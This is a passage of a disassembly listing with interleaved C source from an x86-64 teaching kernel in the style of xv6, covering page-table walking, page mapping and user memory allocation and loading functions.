ffff80000010b570: 48 89 c2 mov %rax,%rdx
ffff80000010b573: 48 b8 00 00 00 00 00 movabs $0xffff800000000000,%rax
ffff80000010b57a: 80 ff ff
ffff80000010b57d: 48 01 d0 add %rdx,%rax
ffff80000010b580: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff80000010b584: eb 63 jmp ffff80000010b5e9 <walkpgdir+0x181>
else {
if(!alloc || (pd = (pde_t*)kalloc()) == 0)//allocate page table
ffff80000010b586: 83 7d bc 00 cmpl $0x0,-0x44(%rbp)
ffff80000010b58a: 74 17 je ffff80000010b5a3 <walkpgdir+0x13b>
ffff80000010b58c: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010b593: 80 ff ff
ffff80000010b596: ff d0 callq *%rax
ffff80000010b598: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff80000010b59c: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff80000010b5a1: 75 0a jne ffff80000010b5ad <walkpgdir+0x145>
return 0;
ffff80000010b5a3: b8 00 00 00 00 mov $0x0,%eax
ffff80000010b5a8: e9 0a 01 00 00 jmpq ffff80000010b6b7 <walkpgdir+0x24f>
memset(pd, 0, PGSIZE);
ffff80000010b5ad: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010b5b1: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010b5b6: be 00 00 00 00 mov $0x0,%esi
ffff80000010b5bb: 48 89 c7 mov %rax,%rdi
ffff80000010b5be: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010b5c5: 80 ff ff
ffff80000010b5c8: ff d0 callq *%rax
*pdpe = V2P(pd) | PTE_P | PTE_W | PTE_U;
ffff80000010b5ca: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010b5ce: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010b5d5: 80 00 00
ffff80000010b5d8: 48 01 d0 add %rdx,%rax
ffff80000010b5db: 48 83 c8 07 or $0x7,%rax
ffff80000010b5df: 48 89 c2 mov %rax,%rdx
ffff80000010b5e2: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010b5e6: 48 89 10 mov %rdx,(%rax)
}
// from the PD, find or allocate the appropriate page table
pde = &pd[PDX(va)];
ffff80000010b5e9: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010b5ed: 48 c1 e8 15 shr $0x15,%rax
ffff80000010b5f1: 25 ff 01 00 00 and $0x1ff,%eax
ffff80000010b5f6: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010b5fd: 00
ffff80000010b5fe: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010b602: 48 01 d0 add %rdx,%rax
ffff80000010b605: 48 89 45 d0 mov %rax,-0x30(%rbp)
if(*pde & PTE_P)
ffff80000010b609: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010b60d: 48 8b 00 mov (%rax),%rax
ffff80000010b610: 83 e0 01 and $0x1,%eax
ffff80000010b613: 48 85 c0 test %rax,%rax
ffff80000010b616: 74 23 je ffff80000010b63b <walkpgdir+0x1d3>
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
ffff80000010b618: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010b61c: 48 8b 00 mov (%rax),%rax
ffff80000010b61f: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010b625: 48 89 c2 mov %rax,%rdx
ffff80000010b628: 48 b8 00 00 00 00 00 movabs $0xffff800000000000,%rax
ffff80000010b62f: 80 ff ff
ffff80000010b632: 48 01 d0 add %rdx,%rax
ffff80000010b635: 48 89 45 e8 mov %rax,-0x18(%rbp)
ffff80000010b639: eb 60 jmp ffff80000010b69b <walkpgdir+0x233>
else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)//allocate page table
ffff80000010b63b: 83 7d bc 00 cmpl $0x0,-0x44(%rbp)
ffff80000010b63f: 74 17 je ffff80000010b658 <walkpgdir+0x1f0>
ffff80000010b641: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010b648: 80 ff ff
ffff80000010b64b: ff d0 callq *%rax
ffff80000010b64d: 48 89 45 e8 mov %rax,-0x18(%rbp)
ffff80000010b651: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff80000010b656: 75 07 jne ffff80000010b65f <walkpgdir+0x1f7>
return 0;
ffff80000010b658: b8 00 00 00 00 mov $0x0,%eax
ffff80000010b65d: eb 58 jmp ffff80000010b6b7 <walkpgdir+0x24f>
memset(pgtab, 0, PGSIZE);
ffff80000010b65f: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010b663: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010b668: be 00 00 00 00 mov $0x0,%esi
ffff80000010b66d: 48 89 c7 mov %rax,%rdi
ffff80000010b670: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010b677: 80 ff ff
ffff80000010b67a: ff d0 callq *%rax
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
ffff80000010b67c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010b680: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010b687: 80 00 00
ffff80000010b68a: 48 01 d0 add %rdx,%rax
ffff80000010b68d: 48 83 c8 07 or $0x7,%rax
ffff80000010b691: 48 89 c2 mov %rax,%rdx
ffff80000010b694: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010b698: 48 89 10 mov %rdx,(%rax)
}
return &pgtab[PTX(va)];
ffff80000010b69b: 48 8b 45 c0 mov -0x40(%rbp),%rax
ffff80000010b69f: 48 c1 e8 0c shr $0xc,%rax
ffff80000010b6a3: 25 ff 01 00 00 and $0x1ff,%eax
ffff80000010b6a8: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff80000010b6af: 00
ffff80000010b6b0: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010b6b4: 48 01 d0 add %rdx,%rax
}
ffff80000010b6b7: c9 leaveq
ffff80000010b6b8: c3 retq
ffff80000010b6b9 <switchkvm>:
void
switchkvm(void)
{
ffff80000010b6b9: f3 0f 1e fa endbr64
ffff80000010b6bd: 55 push %rbp
ffff80000010b6be: 48 89 e5 mov %rsp,%rbp
lcr3(v2p(kpml4));
ffff80000010b6c1: 48 b8 58 ad 1f 00 00 movabs $0xffff8000001fad58,%rax
ffff80000010b6c8: 80 ff ff
ffff80000010b6cb: 48 8b 00 mov (%rax),%rax
ffff80000010b6ce: 48 89 c7 mov %rax,%rdi
ffff80000010b6d1: 48 b8 51 ad 10 00 00 movabs $0xffff80000010ad51,%rax
ffff80000010b6d8: 80 ff ff
ffff80000010b6db: ff d0 callq *%rax
ffff80000010b6dd: 48 89 c7 mov %rax,%rdi
ffff80000010b6e0: 48 b8 37 ad 10 00 00 movabs $0xffff80000010ad37,%rax
ffff80000010b6e7: 80 ff ff
ffff80000010b6ea: ff d0 callq *%rax
}
ffff80000010b6ec: 90 nop
ffff80000010b6ed: 5d pop %rbp
ffff80000010b6ee: c3 retq
ffff80000010b6ef <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
int
mappages(pde_t *pgdir, void *va, addr_t size, addr_t pa, int perm)
{
ffff80000010b6ef: f3 0f 1e fa endbr64
ffff80000010b6f3: 55 push %rbp
ffff80000010b6f4: 48 89 e5 mov %rsp,%rbp
ffff80000010b6f7: 48 83 ec 50 sub $0x50,%rsp
ffff80000010b6fb: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff80000010b6ff: 48 89 75 d0 mov %rsi,-0x30(%rbp)
ffff80000010b703: 48 89 55 c8 mov %rdx,-0x38(%rbp)
ffff80000010b707: 48 89 4d c0 mov %rcx,-0x40(%rbp)
ffff80000010b70b: 44 89 45 bc mov %r8d,-0x44(%rbp)
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((addr_t)va);
ffff80000010b70f: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010b713: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010b719: 48 89 45 f8 mov %rax,-0x8(%rbp)
last = (char*)PGROUNDDOWN(((addr_t)va) + size - 1);
ffff80000010b71d: 48 8b 55 d0 mov -0x30(%rbp),%rdx
ffff80000010b721: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010b725: 48 01 d0 add %rdx,%rax
ffff80000010b728: 48 83 e8 01 sub $0x1,%rax
ffff80000010b72c: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010b732: 48 89 45 f0 mov %rax,-0x10(%rbp)
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
ffff80000010b736: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff80000010b73a: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010b73e: ba 01 00 00 00 mov $0x1,%edx
ffff80000010b743: 48 89 ce mov %rcx,%rsi
ffff80000010b746: 48 89 c7 mov %rax,%rdi
ffff80000010b749: 48 b8 68 b4 10 00 00 movabs $0xffff80000010b468,%rax
ffff80000010b750: 80 ff ff
ffff80000010b753: ff d0 callq *%rax
ffff80000010b755: 48 89 45 e8 mov %rax,-0x18(%rbp)
ffff80000010b759: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff80000010b75e: 75 07 jne ffff80000010b767 <mappages+0x78>
return -1;
ffff80000010b760: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010b765: eb 61 jmp ffff80000010b7c8 <mappages+0xd9>
if(*pte & PTE_P)
ffff80000010b767: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010b76b: 48 8b 00 mov (%rax),%rax
ffff80000010b76e: 83 e0 01 and $0x1,%eax
ffff80000010b771: 48 85 c0 test %rax,%rax
ffff80000010b774: 74 16 je ffff80000010b78c <mappages+0x9d>
panic("remap");
ffff80000010b776: 48 bf 04 cc 10 00 00 movabs $0xffff80000010cc04,%rdi
ffff80000010b77d: 80 ff ff
ffff80000010b780: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010b787: 80 ff ff
ffff80000010b78a: ff d0 callq *%rax
*pte = pa | perm | PTE_P;
ffff80000010b78c: 8b 45 bc mov -0x44(%rbp),%eax
ffff80000010b78f: 48 98 cltq
ffff80000010b791: 48 0b 45 c0 or -0x40(%rbp),%rax
ffff80000010b795: 48 83 c8 01 or $0x1,%rax
ffff80000010b799: 48 89 c2 mov %rax,%rdx
ffff80000010b79c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010b7a0: 48 89 10 mov %rdx,(%rax)
if(a == last)
ffff80000010b7a3: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010b7a7: 48 3b 45 f0 cmp -0x10(%rbp),%rax
ffff80000010b7ab: 74 15 je ffff80000010b7c2 <mappages+0xd3>
break;
a += PGSIZE;
ffff80000010b7ad: 48 81 45 f8 00 10 00 addq $0x1000,-0x8(%rbp)
ffff80000010b7b4: 00
pa += PGSIZE;
ffff80000010b7b5: 48 81 45 c0 00 10 00 addq $0x1000,-0x40(%rbp)
ffff80000010b7bc: 00
if((pte = walkpgdir(pgdir, a, 1)) == 0)
ffff80000010b7bd: e9 74 ff ff ff jmpq ffff80000010b736 <mappages+0x47>
break;
ffff80000010b7c2: 90 nop
}
return 0;
ffff80000010b7c3: b8 00 00 00 00 mov $0x0,%eax
}
ffff80000010b7c8: c9 leaveq
ffff80000010b7c9: c3 retq
ffff80000010b7ca <inituvm>:
// Load the initcode into address 0x1000 (4KB) of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
ffff80000010b7ca: f3 0f 1e fa endbr64
ffff80000010b7ce: 55 push %rbp
ffff80000010b7cf: 48 89 e5 mov %rsp,%rbp
ffff80000010b7d2: 48 83 ec 30 sub $0x30,%rsp
ffff80000010b7d6: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff80000010b7da: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff80000010b7de: 89 55 dc mov %edx,-0x24(%rbp)
char *mem;
if(sz >= PGSIZE)
ffff80000010b7e1: 81 7d dc ff 0f 00 00 cmpl $0xfff,-0x24(%rbp)
ffff80000010b7e8: 76 16 jbe ffff80000010b800 <inituvm+0x36>
panic("inituvm: more than a page");
ffff80000010b7ea: 48 bf 0a cc 10 00 00 movabs $0xffff80000010cc0a,%rdi
ffff80000010b7f1: 80 ff ff
ffff80000010b7f4: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010b7fb: 80 ff ff
ffff80000010b7fe: ff d0 callq *%rax
mem = kalloc();
ffff80000010b800: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010b807: 80 ff ff
ffff80000010b80a: ff d0 callq *%rax
ffff80000010b80c: 48 89 45 f8 mov %rax,-0x8(%rbp)
memset(mem, 0, PGSIZE);
ffff80000010b810: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010b814: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010b819: be 00 00 00 00 mov $0x0,%esi
ffff80000010b81e: 48 89 c7 mov %rax,%rdi
ffff80000010b821: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010b828: 80 ff ff
ffff80000010b82b: ff d0 callq *%rax
mappages(pgdir, (void *)PGSIZE, PGSIZE, V2P(mem), PTE_W|PTE_U);
ffff80000010b82d: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010b831: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010b838: 80 00 00
ffff80000010b83b: 48 01 c2 add %rax,%rdx
ffff80000010b83e: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010b842: 41 b8 06 00 00 00 mov $0x6,%r8d
ffff80000010b848: 48 89 d1 mov %rdx,%rcx
ffff80000010b84b: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010b850: be 00 10 00 00 mov $0x1000,%esi
ffff80000010b855: 48 89 c7 mov %rax,%rdi
ffff80000010b858: 48 b8 ef b6 10 00 00 movabs $0xffff80000010b6ef,%rax
ffff80000010b85f: 80 ff ff
ffff80000010b862: ff d0 callq *%rax
memmove(mem, init, sz);
ffff80000010b864: 8b 55 dc mov -0x24(%rbp),%edx
ffff80000010b867: 48 8b 4d e0 mov -0x20(%rbp),%rcx
ffff80000010b86b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010b86f: 48 89 ce mov %rcx,%rsi
ffff80000010b872: 48 89 c7 mov %rax,%rdi
ffff80000010b875: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff80000010b87c: 80 ff ff
ffff80000010b87f: ff d0 callq *%rax
}
ffff80000010b881: 90 nop
ffff80000010b882: c9 leaveq
ffff80000010b883: c3 retq
ffff80000010b884 <loaduvm>:
// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
{
ffff80000010b884: f3 0f 1e fa endbr64
ffff80000010b888: 55 push %rbp
ffff80000010b889: 48 89 e5 mov %rsp,%rbp
ffff80000010b88c: 48 83 ec 40 sub $0x40,%rsp
ffff80000010b890: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff80000010b894: 48 89 75 d0 mov %rsi,-0x30(%rbp)
ffff80000010b898: 48 89 55 c8 mov %rdx,-0x38(%rbp)
ffff80000010b89c: 89 4d c4 mov %ecx,-0x3c(%rbp)
ffff80000010b89f: 44 89 45 c0 mov %r8d,-0x40(%rbp)
uint i, n;
addr_t pa;
pte_t *pte;
if((addr_t) addr % PGSIZE != 0)
ffff80000010b8a3: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010b8a7: 25 ff 0f 00 00 and $0xfff,%eax
ffff80000010b8ac: 48 85 c0 test %rax,%rax
ffff80000010b8af: 74 16 je ffff80000010b8c7 <loaduvm+0x43>
panic("loaduvm: addr must be page aligned");
ffff80000010b8b1: 48 bf 28 cc 10 00 00 movabs $0xffff80000010cc28,%rdi
ffff80000010b8b8: 80 ff ff
ffff80000010b8bb: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010b8c2: 80 ff ff
ffff80000010b8c5: ff d0 callq *%rax
for(i = 0; i < sz; i += PGSIZE){
ffff80000010b8c7: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff80000010b8ce: e9 c4 00 00 00 jmpq ffff80000010b997 <loaduvm+0x113>
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
ffff80000010b8d3: 8b 55 fc mov -0x4(%rbp),%edx
ffff80000010b8d6: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010b8da: 48 8d 0c 02 lea (%rdx,%rax,1),%rcx
ffff80000010b8de: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010b8e2: ba 00 00 00 00 mov $0x0,%edx
ffff80000010b8e7: 48 89 ce mov %rcx,%rsi
ffff80000010b8ea: 48 89 c7 mov %rax,%rdi
ffff80000010b8ed: 48 b8 68 b4 10 00 00 movabs $0xffff80000010b468,%rax
ffff80000010b8f4: 80 ff ff
ffff80000010b8f7: ff d0 callq *%rax
ffff80000010b8f9: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff80000010b8fd: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff80000010b902: 75 16 jne ffff80000010b91a <loaduvm+0x96>
panic("loaduvm: address should exist");
ffff80000010b904: 48 bf 4b cc 10 00 00 movabs $0xffff80000010cc4b,%rdi
ffff80000010b90b: 80 ff ff
ffff80000010b90e: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010b915: 80 ff ff
ffff80000010b918: ff d0 callq *%rax
pa = PTE_ADDR(*pte);
ffff80000010b91a: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010b91e: 48 8b 00 mov (%rax),%rax
ffff80000010b921: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010b927: 48 89 45 e8 mov %rax,-0x18(%rbp)
if(sz - i < PGSIZE)
ffff80000010b92b: 8b 45 c0 mov -0x40(%rbp),%eax
ffff80000010b92e: 2b 45 fc sub -0x4(%rbp),%eax
ffff80000010b931: 3d ff 0f 00 00 cmp $0xfff,%eax
ffff80000010b936: 77 0b ja ffff80000010b943 <loaduvm+0xbf>
n = sz - i;
ffff80000010b938: 8b 45 c0 mov -0x40(%rbp),%eax
ffff80000010b93b: 2b 45 fc sub -0x4(%rbp),%eax
ffff80000010b93e: 89 45 f8 mov %eax,-0x8(%rbp)
ffff80000010b941: eb 07 jmp ffff80000010b94a <loaduvm+0xc6>
else
n = PGSIZE;
ffff80000010b943: c7 45 f8 00 10 00 00 movl $0x1000,-0x8(%rbp)
if(readi(ip, P2V(pa), offset+i, n) != n)
ffff80000010b94a: 8b 55 c4 mov -0x3c(%rbp),%edx
ffff80000010b94d: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010b950: 8d 34 02 lea (%rdx,%rax,1),%esi
ffff80000010b953: 48 ba 00 00 00 00 00 movabs $0xffff800000000000,%rdx
ffff80000010b95a: 80 ff ff
ffff80000010b95d: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010b961: 48 01 d0 add %rdx,%rax
ffff80000010b964: 48 89 c7 mov %rax,%rdi
ffff80000010b967: 8b 55 f8 mov -0x8(%rbp),%edx
ffff80000010b96a: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010b96e: 89 d1 mov %edx,%ecx
ffff80000010b970: 89 f2 mov %esi,%edx
ffff80000010b972: 48 89 fe mov %rdi,%rsi
ffff80000010b975: 48 89 c7 mov %rax,%rdi
ffff80000010b978: 48 b8 51 2f 10 00 00 movabs $0xffff800000102f51,%rax
ffff80000010b97f: 80 ff ff
ffff80000010b982: ff d0 callq *%rax
ffff80000010b984: 39 45 f8 cmp %eax,-0x8(%rbp)
ffff80000010b987: 74 07 je ffff80000010b990 <loaduvm+0x10c>
return -1;
ffff80000010b989: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010b98e: eb 18 jmp ffff80000010b9a8 <loaduvm+0x124>
for(i = 0; i < sz; i += PGSIZE){
ffff80000010b990: 81 45 fc 00 10 00 00 addl $0x1000,-0x4(%rbp)
ffff80000010b997: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010b99a: 3b 45 c0 cmp -0x40(%rbp),%eax
ffff80000010b99d: 0f 82 30 ff ff ff jb ffff80000010b8d3 <loaduvm+0x4f>
}
return 0;
ffff80000010b9a3: b8 00 00 00 00 mov $0x0,%eax
}
ffff80000010b9a8: c9 leaveq
ffff80000010b9a9: c3 retq
ffff80000010b9aa <allocuvm>:
// Allocate page tables and physical memory to grow process from oldsz to
// newsz, which need not be page aligned. Returns new size or 0 on error.
uint64
allocuvm(pde_t *pgdir, uint64 oldsz, uint64 newsz)
{
ffff80000010b9aa: f3 0f 1e fa endbr64
ffff80000010b9ae: 55 push %rbp
ffff80000010b9af: 48 89 e5 mov %rsp,%rbp
ffff80000010b9b2: 48 83 ec 30 sub $0x30,%rsp
ffff80000010b9b6: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff80000010b9ba: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff80000010b9be: 48 89 55 d8 mov %rdx,-0x28(%rbp)
char *mem;
addr_t a;
if(newsz >= KERNBASE)
ffff80000010b9c2: 48 b8 ff ff ff ff ff movabs $0xffff7fffffffffff,%rax
ffff80000010b9c9: 7f ff ff
ffff80000010b9cc: 48 39 45 d8 cmp %rax,-0x28(%rbp)
ffff80000010b9d0: 76 0a jbe ffff80000010b9dc <allocuvm+0x32>
return 0;
ffff80000010b9d2: b8 00 00 00 00 mov $0x0,%eax
ffff80000010b9d7: e9 14 01 00 00 jmpq ffff80000010baf0 <allocuvm+0x146>
if(newsz < oldsz)
ffff80000010b9dc: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010b9e0: 48 3b 45 e0 cmp -0x20(%rbp),%rax
ffff80000010b9e4: 73 09 jae ffff80000010b9ef <allocuvm+0x45>
return oldsz;
ffff80000010b9e6: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010b9ea: e9 01 01 00 00 jmpq ffff80000010baf0 <allocuvm+0x146>
a = PGROUNDUP(oldsz);
ffff80000010b9ef: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010b9f3: 48 05 ff 0f 00 00 add $0xfff,%rax
ffff80000010b9f9: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010b9ff: 48 89 45 f8 mov %rax,-0x8(%rbp)
for(; a < newsz; a += PGSIZE){
ffff80000010ba03: e9 d6 00 00 00 jmpq ffff80000010bade <allocuvm+0x134>
mem = kalloc();
ffff80000010ba08: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010ba0f: 80 ff ff
ffff80000010ba12: ff d0 callq *%rax
ffff80000010ba14: 48 89 45 f0 mov %rax,-0x10(%rbp)
if(mem == 0){
ffff80000010ba18: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff80000010ba1d: 75 28 jne ffff80000010ba47 <allocuvm+0x9d>
//cprintf("allocuvm out of memory\n");
deallocuvm(pgdir, newsz, oldsz);
ffff80000010ba1f: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff80000010ba23: 48 8b 4d d8 mov -0x28(%rbp),%rcx
ffff80000010ba27: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010ba2b: 48 89 ce mov %rcx,%rsi
ffff80000010ba2e: 48 89 c7 mov %rax,%rdi
ffff80000010ba31: 48 b8 f2 ba 10 00 00 movabs $0xffff80000010baf2,%rax
ffff80000010ba38: 80 ff ff
ffff80000010ba3b: ff d0 callq *%rax
return 0;
ffff80000010ba3d: b8 00 00 00 00 mov $0x0,%eax
ffff80000010ba42: e9 a9 00 00 00 jmpq ffff80000010baf0 <allocuvm+0x146>
}
memset(mem, 0, PGSIZE);
ffff80000010ba47: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010ba4b: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010ba50: be 00 00 00 00 mov $0x0,%esi
ffff80000010ba55: 48 89 c7 mov %rax,%rdi
ffff80000010ba58: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff80000010ba5f: 80 ff ff
ffff80000010ba62: ff d0 callq *%rax
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
ffff80000010ba64: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010ba68: 48 ba 00 00 00 00 00 movabs $0x800000000000,%rdx
ffff80000010ba6f: 80 00 00
ffff80000010ba72: 48 01 c2 add %rax,%rdx
ffff80000010ba75: 48 8b 75 f8 mov -0x8(%rbp),%rsi
ffff80000010ba79: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010ba7d: 41 b8 06 00 00 00 mov $0x6,%r8d
ffff80000010ba83: 48 89 d1 mov %rdx,%rcx
ffff80000010ba86: ba 00 10 00 00 mov $0x1000,%edx
ffff80000010ba8b: 48 89 c7 mov %rax,%rdi
ffff80000010ba8e: 48 b8 ef b6 10 00 00 movabs $0xffff80000010b6ef,%rax
ffff80000010ba95: 80 ff ff
ffff80000010ba98: ff d0 callq *%rax
ffff80000010ba9a: 85 c0 test %eax,%eax
ffff80000010ba9c: 79 38 jns ffff80000010bad6 <allocuvm+0x12c>
//cprintf("allocuvm out of memory (2)\n");
deallocuvm(pgdir, newsz, oldsz);
ffff80000010ba9e: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff80000010baa2: 48 8b 4d d8 mov -0x28(%rbp),%rcx
ffff80000010baa6: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010baaa: 48 89 ce mov %rcx,%rsi
ffff80000010baad: 48 89 c7 mov %rax,%rdi
ffff80000010bab0: 48 b8 f2 ba 10 00 00 movabs $0xffff80000010baf2,%rax
ffff80000010bab7: 80 ff ff
ffff80000010baba: ff d0 callq *%rax
krelease(mem);
ffff80000010babc: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010bac0: 48 89 c7 mov %rax,%rdi
ffff80000010bac3: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff80000010baca: 80 ff ff
ffff80000010bacd: ff d0 callq *%rax
return 0;
ffff80000010bacf: b8 00 00 00 00 mov $0x0,%eax
ffff80000010bad4: eb 1a jmp ffff80000010baf0 <allocuvm+0x146>
for(; a < newsz; a += PGSIZE){
ffff80000010bad6: 48 81 45 f8 00 10 00 addq $0x1000,-0x8(%rbp)
ffff80000010badd: 00
ffff80000010bade: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010bae2: 48 3b 45 d8 cmp -0x28(%rbp),%rax
ffff80000010bae6: 0f 82 1c ff ff ff jb ffff80000010ba08 <allocuvm+0x5e>
}
}
return newsz;
ffff80000010baec: 48 8b 45 d8 mov -0x28(%rbp),%rax
}
ffff80000010baf0: c9 leaveq
ffff80000010baf1: c3 retq
ffff80000010baf2 <deallocuvm>:
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
uint64
deallocuvm(pde_t *pgdir, uint64 oldsz, uint64 newsz)
{
ffff80000010baf2: f3 0f 1e fa endbr64
ffff80000010baf6: 55 push %rbp
ffff80000010baf7: 48 89 e5 mov %rsp,%rbp
ffff80000010bafa: 48 83 ec 40 sub $0x40,%rsp
ffff80000010bafe: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff80000010bb02: 48 89 75 d0 mov %rsi,-0x30(%rbp)
ffff80000010bb06: 48 89 55 c8 mov %rdx,-0x38(%rbp)
pte_t *pte;
addr_t a, pa;
if(newsz >= oldsz)
ffff80000010bb0a: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010bb0e: 48 3b 45 d0 cmp -0x30(%rbp),%rax
ffff80000010bb12: 72 09 jb ffff80000010bb1d <deallocuvm+0x2b>
return oldsz;
ffff80000010bb14: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff80000010bb18: e9 cd 00 00 00 jmpq ffff80000010bbea <deallocuvm+0xf8>
a = PGROUNDUP(newsz);
ffff80000010bb1d: 48 8b 45 c8 mov -0x38(%rbp),%rax
ffff80000010bb21: 48 05 ff 0f 00 00 add $0xfff,%rax
ffff80000010bb27: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax
ffff80000010bb2d: 48 89 45 f8 mov %rax,-0x8(%rbp)
for(; a < oldsz; a += PGSIZE){
ffff80000010bb31: e9 a2 00 00 00 jmpq ffff80000010bbd8 <deallocuvm+0xe6>
pte = walkpgdir(pgdir, (char*)a, 0);
ffff80000010bb36: 48 8b 4d f8 mov -0x8(%rbp),%rcx
ffff80000010bb3a: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff80000010bb3e: ba 00 00 00 00 mov $0x0,%edx
ffff80000010bb43: 48 89 ce mov %rcx,%rsi
ffff80000010bb46: 48 89 c7 mov %rax,%rdi
ffff80000010bb49: 48 b8 68 b4 10 00 00 movabs $0xffff80000010b468,%rax
ffff80000010bb50: 80 ff ff
ffff80000010bb53: ff d0 callq *%rax
ffff80000010bb55: 48 89 45 f0 mov %rax,-0x10(%rbp)
